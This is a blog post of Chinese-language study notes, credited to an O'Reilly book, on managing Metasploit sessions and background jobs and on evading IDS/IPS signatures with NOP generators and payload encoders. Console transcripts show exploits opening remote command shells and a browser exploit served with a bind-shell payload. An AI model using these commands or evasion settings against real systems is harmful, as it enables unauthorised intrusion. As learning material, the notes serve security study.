管理Session和Job
- 交互命令殼和其他payload被包裹在Session裡,可以被停止以及恢復
- 需要執行伺服器的攻擊程式(像是瀏覽器攻擊程式,它必須誘騙用互連接到Metasploit的Web伺服器),能夠以執行在背景的Job之形式加以管理
- 透用使用Session與Job,可以在單一的Metasploit實例裡同時進行多個攻擊
Session
使用交互式payload,例如shell或者Meterpreter payload時,session會自動被建立,當session被建立時,session ID被當作攻擊程式輸出的一部分msf exploit(ms03_026_dcom)> exploit [*]Started bind handler ....... #很多系統顯示的東西 [*]Command shell session 1 opened (10.150.9.46:59996 -> 10.157.6.231:44444) #session ..... C:\WINDOWS\system32> C:\WINDOWS\system32> ^Z #推到背景 Background session 1? [y/N] y #輸入y msf exploit(ms03_026_dcom)> #自動回到Metasploit控制台 msf exploit(ms03_026_dcom)>set RHOST snake #建立新的session RHOST => 10.157.6.140 #系統自行顯示 msf exploit(ms03_026_dcom)> exploit ....... msf exploit(ms03_026_dcom)>session -l #得到一個活躍的session清單 Active sessions =============== Id Descriptions Tunnel -- ------------- -------- 1 Command shell 10.150.9.46:59996 -> 10.157.6.231:4444 2 Command shell 10.150.9.46:60054 -> 10.157.6.140:4444 msf exploit(ms03_026_dcom)>session -i sessionid #恢復指定session msf exploit(ms03_026_dcom)>session -i 2 #範例 C:\WINDOWS\system32>exit exit ^C #命令殼未乾淨退出時,使用^C結束行程 Abort session 2? [y/N] y #輸入Y
Job
類似session,但是由任何需要執行在背景中的任務所建立。會建立伺服器(等待客戶端連上來)的攻擊是建立job的好例子msf> use exploit/windows/browser/aim_goaway msf exploit(aim_goaway)> set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp #系統自行顯示 msf exploit(aim_goaway)>exploit [*]Using URL: http://192.168.10.10:8080/HKLUJ441 [*]Server started [*]Exploit running as background job. msf exploit(aim_goaway)>jobs -l #顯示活躍的job清單 Job === Id Name -- ----- 0 Exploit: windows/browser/aim_goaway msf exploit(aim_goaway)>jobs -k 0 #殺掉指定job Stopping job: 0... #系統自行顯示 msf exploit(aim_goaway)>jobs -K #殺掉所有job如果job是一個設法成功攻陷客戶端的攻擊,session將會被建立並且自動放置在背景
使用NOP和編碼器的規避技術
- 簡單的IDS或IPS設備試圖透過比對NOP sled或攻擊所附帶之payload的特定位元組來偵測攻擊
- 進接設備也會考慮[攻擊特定]的攻擊特徵(signature)
NOP產生器
- 相較於傳統的NOP sled(一序列的0x90的位元組),Metasploit的NOP產生器可製造一序列任意長度的位元組,具不可預測的樣式(pattern)
- 透過NOP產生器,越過簡單IDS/IPS的常見NOP sled特徵
msf exploit(aim_goaway)> show nops NOP Generators ============== Name Description ---------- ----------- ppc/simple Simple sparc/random SRARC NOP generator x86/opty2 Opty2 x86/single_byte Single Byte msf exploit(aim_goaway)> set NOP generatorname #選擇NOP產生器 msf exploit(aim_goaway)> set NOP x86/opty2 #範例 NOP => x86/opty2 #系統自行顯示 msf> use x86/opty2 msf nop(opty2)> generate 20 #看特定產生器所產生的輸出樣本前20個
payload編碼器
- payload編碼器(encoder)在技術上並非為了規避安全防護裝置,雖然如此,它們能夠被用來規避正在尋找你的payload的特定位元組的簡單IDS/IPS攻擊特徵
- 編碼器通常是為了克服各種會阻止攻擊順利進行的狀況,例如改變Metasploit所傳送的位元組
msf exploit(ms02_039_slammer)> show encoders Encoders ======== Name Description --------------- ----------- x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder .......... msf exploit(ms02_039_slammer)> set ENCODER encodername #選擇編碼器 msf exploit(ms02_039_slammer)> set ENCODER x86/alpha_upper #範例 ENCODER => x86/alpha_upper #系統自行顯示
資料出處:O'REILLY 防駭超級工具
沒有留言:
張貼留言